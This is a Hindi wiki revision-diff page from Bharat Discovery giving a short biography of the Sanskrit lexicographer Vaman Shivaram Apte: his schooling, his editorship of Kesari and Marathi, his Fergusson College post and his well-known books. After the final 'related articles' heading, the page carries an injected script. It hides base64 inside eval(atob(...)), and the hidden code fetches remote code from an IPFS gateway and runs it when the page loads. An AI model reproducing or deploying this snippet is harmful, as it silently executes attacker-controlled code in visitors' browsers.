वामन शिवराम आपटे: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
m (Text replacement - "khoj.bharatdiscovery.org" to "bharatkhoj.org")
 
(4 intermediate revisions by 3 users not shown)
Line 14: Line 14:
|कर्म भूमि=[[भारत]]
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र=
|कर्म-क्षेत्र=
|मुख्य रचनाएँ='स्टूडेंट्स्‌ गाइड टु संस्कृत कांपोज़ीशन', 'इंग्लिश-संस्कृत और संस्कृत-इंग्लिश कोश'
|मुख्य रचनाएँ='स्टूडेंट्स्‌ गाइड टू संस्कृत कम्पोज़ीशन', 'इंग्लिश-संस्कृत और संस्कृत-इंग्लिश कोश'
|विषय=
|विषय=
|भाषा=[[संस्कृत]], [[मराठी भाषा|मराठी]]
|भाषा=[[संस्कृत]], [[मराठी भाषा|मराठी]]
Line 33: Line 33:
}}
}}


'''वामन शिवराम आपटे''' ([[अंग्रेज़ी]]: ''Vaman Shivaram Apte'', जन्म- [[1858]] ई., मृत्यु- [[1892]] ई., [[पुणे]], [[महाराष्ट्र]]) [[संस्कृत]] के महान पंडित थे। [[वर्ष]] [[1881]] ई. में इन्होंने 'केसरी' तथा 'मराठी' पत्रों का सम्पादन किया था। इनकी पुस्तकों में 'स्टूडेंट्स्‌ गाइड टु संस्कृत कांपोज़ीशन' तथा 'इंग्लिश-संस्कृत और संस्कृत-इंग्लिश कोश' विशेष प्रसिद्ध हैं।
'''वामन शिवराम आपटे''' ([[अंग्रेज़ी]]: ''Vaman Shivaram Apte'', जन्म- [[1858]] ई.; मृत्यु- [[1892]] ई., [[पुणे]], [[महाराष्ट्र]]) [[संस्कृत]] के महान् पंडित थे। [[वर्ष]] [[1881]] ई. में इन्होंने 'केसरी' तथा 'मराठी' पत्रों का सम्पादन किया था। इनकी पुस्तकों में 'स्टूडेंट्स गाइड टू संस्कृत कम्पोज़ीशन' तथा 'इंग्लिश-संस्कृत और संस्कृत-इंग्लिश कोश' विशेष प्रसिद्ध हैं।
==जन्म==
==जन्म==
वामन शिवराम आपटे का जन्म सन 1858 ई. में सावंतवाड़ी रियासत के असोलीपाल नामक एक छोटे [[ग्राम]] में समृद्ध [[परिवार]] में हुआ था। इनके [[माता]]-[[पिता]] की असमय मृत्यु हो गई थी, जिस कारण इनका प्रारंभिक जीवन कष्टप्रद रहा। उन दिनों इन्हें अपने गुरु प्रधानाध्यापक कुंटे जी की सहानुभूति और सहायता प्राप्त होती रही थी।<ref name="aa">{{cite web |url= http://khoj.bharatdiscovery.org/india/%E0%A4%B5%E0%A4%BE%E0%A4%AE%E0%A4%A8_%E0%A4%B6%E0%A4%BF%E0%A4%B5%E0%A4%B0%E0%A4%BE%E0%A4%AE_%E0%A4%86%E0%A4%AA%E0%A4%9F%E0%A5%87|title=वामन शिवराम आपटे |accessmonthday=18 जू |accessyear=2015|last= |first= |authorlink= |format= |publisher=भारतखोज|language=हिन्दी }}</ref>
वामन शिवराम आपटे का जन्म सन [[1858]] ई. में सावंतवाड़ी रियासत के असोलीपाल नामक एक छोटे-से [[ग्राम]] में समृद्ध [[परिवार]] में हुआ था। इनके [[माता]]-[[पिता]] की असमय मृत्यु हो गई थी, जिस कारण इनका प्रारंभिक जीवन कष्टप्रद रहा। उन दिनों इन्हें अपने गुरु प्रधानाध्यापक कुंटे जी की सहानुभूति और सहायता प्राप्त होती रही थी।<ref name="aa">{{cite web |url= http://bharatkhoj.org/india/%E0%A4%B5%E0%A4%BE%E0%A4%AE%E0%A4%A8_%E0%A4%B6%E0%A4%BF%E0%A4%B5%E0%A4%B0%E0%A4%BE%E0%A4%AE_%E0%A4%86%E0%A4%AA%E0%A4%9F%E0%A5%87|title=वामन शिवराम आपटे |accessmonthday=18 जून |accessyear=2015|last= |first= |authorlink= |format= |publisher=भारतखोज|language=हिन्दी }}</ref>
====शिक्षा====
====शिक्षा====
इनमें गुरु के अशीर्वाद से विद्या के प्रति प्रारम्भ से ही सच्ची लगन थी। इन्होंने सन [[1873]] में मैट्रिक की परीक्षा 'जगन्नाथ शंकरशेट शिष्यवृत्ति' के साथ उत्तीर्ण की। वामन शिवराम आपटे ने गणित विषय के साथ एम. ए. की उपाधि प्रथम श्रेणी के साथ डेक्कन कॉलेज से प्राप्त की।
इनमें गुरु के आशीर्वाद से विद्या के प्रति प्रारम्भ से ही सच्ची लगन थी। इन्होंने सन [[1873]] में मैट्रिक की परीक्षा 'जगन्नाथ शंकरशेट शिष्यवृत्ति' के साथ उत्तीर्ण की। वामन शिवराम आपटे ने गणित विषय के साथ एम. ए. की उपाधि प्रथम श्रेणी के साथ डेक्कन कॉलेज से प्राप्त की थी।
==व्यावसायिक जीवन==
==व्यावसायिक जीवन==
सन [[1881]] में आपटे जी ने 'केसरी' और '[[मराठी]]' पत्रों का संपादन किया। इन्होंने इन पत्रों तथा 'न्यू इंग्लिश स्कूल' के चलाने में विष्णुशास्त्री चिपलूणकर, [[लोकमान्य तिलक]], गोपालराव आगरकर तथा महादेवराव नामजोशी के साथ मिलकर कार्य किया। इन्होंने 'न्यू इंग्लिश स्कूल' की सेवा अध्यापक और व्यवस्थापक के रूप में की थी। इस स्कूल के अनुशासन की ख्याति सर्वत्र थी। [[1882]] ई. में सरकारी शिक्षा आयोग के सम्मुख इन्होंने अपने विचार प्रस्तुत किए थे। [[1885]] में ये फ़र्ग्यूसन कॉलेज के प्रधानाध्यपक नियुक्त हुए। इस कॉलेज की प्रतिष्ठा और कीर्ति के पीछे इनका निरंतर उद्योग और प्रयत्न था।
सन [[1881]] में आपटे जी ने 'केसरी' और '[[मराठी]]' पत्रों का संपादन किया। इन्होंने इन पत्रों तथा 'न्यू इंग्लिश स्कूल' के चलाने में विष्णुशास्त्री चिपलूणकर, [[लोकमान्य तिलक]], गोपालराव आगरकर तथा महादेवराव नामजोशी के साथ मिलकर कार्य किया। इन्होंने 'न्यू इंग्लिश स्कूल' की सेवा अध्यापक और व्यवस्थापक के रूप में की थी। इस स्कूल के अनुशासन की ख्याति सर्वत्र थी। [[1882]] ई. में सरकारी शिक्षा आयोग के सम्मुख इन्होंने अपने विचार प्रस्तुत किए थे। [[1885]] में ये फ़र्ग्यूसन कॉलेज के प्रधानाध्यपक नियुक्त हुए। इस कॉलेज की प्रतिष्ठा और कीर्ति के पीछे इनका निरंतर उद्योग और प्रयत्न था।
==पुस्तकें==
==पुस्तकें==
वामन शिवराम आपटे की पुस्तकों में 'स्टूडेंट्स्‌ गाइड टु संस्कृत कांपोज़ीशन' तथा 'इंग्लिश-संस्कृत और संस्कृत-इंग्लिश कोश' विशेष प्रसिद्ध हैं। इनमें प्रथम पुस्तक के रूप में उनकी कीर्ति चिरस्थायी है। इस पुस्तक में [[संस्कृत]] वाक्यरचना के संबंध में उनके विचार नवीन और उनकी बुद्धिमत्ता के परिचायक हैं। यह पुस्तक [[भारत]] में ही नहीं, अपितु भारत के बाहर भी सर्वत्र मान्य है।<ref name="aa"/>
वामन शिवराम आपटे की पुस्तकों में 'स्टूडेंट्स गाइड टू संस्कृत कम्पोज़ीशन' तथा 'इंग्लिश-संस्कृत और संस्कृत-इंग्लिश कोश' विशेष प्रसिद्ध हैं। इनमें प्रथम पुस्तक के रूप में उनकी कीर्ति चिरस्थायी है। इस पुस्तक में [[संस्कृत]] वाक्यरचना के संबंध में उनके विचार नवीन और उनकी बुद्धिमत्ता के परिचायक हैं। यह पुस्तक [[भारत]] में ही नहीं, अपितु भारत के बाहर भी सर्वत्र मान्य है।<ref name="aa"/>


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
Line 47: Line 47:
<references/>
<references/>
==संबंधित लेख==
==संबंधित लेख==
{{संस्कृत साहित्यकार}}
{{संस्कृत साहित्यकार}}{{साहित्यकार}}
[[Category:संस्कृत_साहित्यकार]][[Category:कोशकार]][[Category:जीवनी साहित्य]][[Category:साहित्य_कोश]][[Category:चरित कोश]][[Category:हिन्दी विश्वकोश]]
[[Category:साहित्यकार]][[Category:संस्कृत_साहित्यकार]][[Category:कोशकार]][[Category:जीवनी साहित्य]][[Category:साहित्य_कोश]][[Category:चरित कोश]][[Category:हिन्दी विश्वकोश]]
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

Latest revision as of 12:29, 25 October 2017

वामन शिवराम आपटे
पूरा नाम वामन शिवराम आपटे
जन्म 1858 ई.
मृत्यु 1892 ई.
मृत्यु स्थान पुणे, महाराष्ट्र
कर्म भूमि भारत
मुख्य रचनाएँ 'स्टूडेंट्स्‌ गाइड टू संस्कृत कम्पोज़ीशन', 'इंग्लिश-संस्कृत और संस्कृत-इंग्लिश कोश'
भाषा संस्कृत, मराठी
विद्यालय डेक्कन कॉलेज
शिक्षा एम. ए.
प्रसिद्धि संस्कृत विद्वान
नागरिकता भारतीय
अन्य जानकारी सन 1885 में वामन शिवराम आपटे 'फ़र्ग्यूसन कॉलेज' के प्रधानाध्यपक नियुक्त हुए थे। इस कॉलेज की प्रतिष्ठा और कीर्ति के पीछे इनका निरंतर उद्योग और प्रयत्न था।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

वामन शिवराम आपटे (अंग्रेज़ी: Vaman Shivaram Apte, जन्म- 1858 ई.; मृत्यु- 1892 ई., पुणे, महाराष्ट्र) संस्कृत के महान् पंडित थे। वर्ष 1881 ई. में इन्होंने 'केसरी' तथा 'मराठी' पत्रों का सम्पादन किया था। इनकी पुस्तकों में 'स्टूडेंट्स गाइड टू संस्कृत कम्पोज़ीशन' तथा 'इंग्लिश-संस्कृत और संस्कृत-इंग्लिश कोश' विशेष प्रसिद्ध हैं।

जन्म

वामन शिवराम आपटे का जन्म सन 1858 ई. में सावंतवाड़ी रियासत के असोलीपाल नामक एक छोटे-से ग्राम में समृद्ध परिवार में हुआ था। इनके माता-पिता की असमय मृत्यु हो गई थी, जिस कारण इनका प्रारंभिक जीवन कष्टप्रद रहा। उन दिनों इन्हें अपने गुरु प्रधानाध्यापक कुंटे जी की सहानुभूति और सहायता प्राप्त होती रही थी।[1]

शिक्षा

इनमें गुरु के आशीर्वाद से विद्या के प्रति प्रारम्भ से ही सच्ची लगन थी। इन्होंने सन 1873 में मैट्रिक की परीक्षा 'जगन्नाथ शंकरशेट शिष्यवृत्ति' के साथ उत्तीर्ण की। वामन शिवराम आपटे ने गणित विषय के साथ एम. ए. की उपाधि प्रथम श्रेणी के साथ डेक्कन कॉलेज से प्राप्त की थी।

व्यावसायिक जीवन

सन 1881 में आपटे जी ने 'केसरी' और 'मराठी' पत्रों का संपादन किया। इन्होंने इन पत्रों तथा 'न्यू इंग्लिश स्कूल' के चलाने में विष्णुशास्त्री चिपलूणकर, लोकमान्य तिलक, गोपालराव आगरकर तथा महादेवराव नामजोशी के साथ मिलकर कार्य किया। इन्होंने 'न्यू इंग्लिश स्कूल' की सेवा अध्यापक और व्यवस्थापक के रूप में की थी। इस स्कूल के अनुशासन की ख्याति सर्वत्र थी। 1882 ई. में सरकारी शिक्षा आयोग के सम्मुख इन्होंने अपने विचार प्रस्तुत किए थे। 1885 में ये फ़र्ग्यूसन कॉलेज के प्रधानाध्यपक नियुक्त हुए। इस कॉलेज की प्रतिष्ठा और कीर्ति के पीछे इनका निरंतर उद्योग और प्रयत्न था।

पुस्तकें

वामन शिवराम आपटे की पुस्तकों में 'स्टूडेंट्स गाइड टू संस्कृत कम्पोज़ीशन' तथा 'इंग्लिश-संस्कृत और संस्कृत-इंग्लिश कोश' विशेष प्रसिद्ध हैं। इनमें प्रथम पुस्तक के रूप में उनकी कीर्ति चिरस्थायी है। इस पुस्तक में संस्कृत वाक्यरचना के संबंध में उनके विचार नवीन और उनकी बुद्धिमत्ता के परिचायक हैं। यह पुस्तक भारत में ही नहीं, अपितु भारत के बाहर भी सर्वत्र मान्य है।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 वामन शिवराम आपटे (हिन्दी) भारतखोज। अभिगमन तिथि: 18 जून, 2015।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>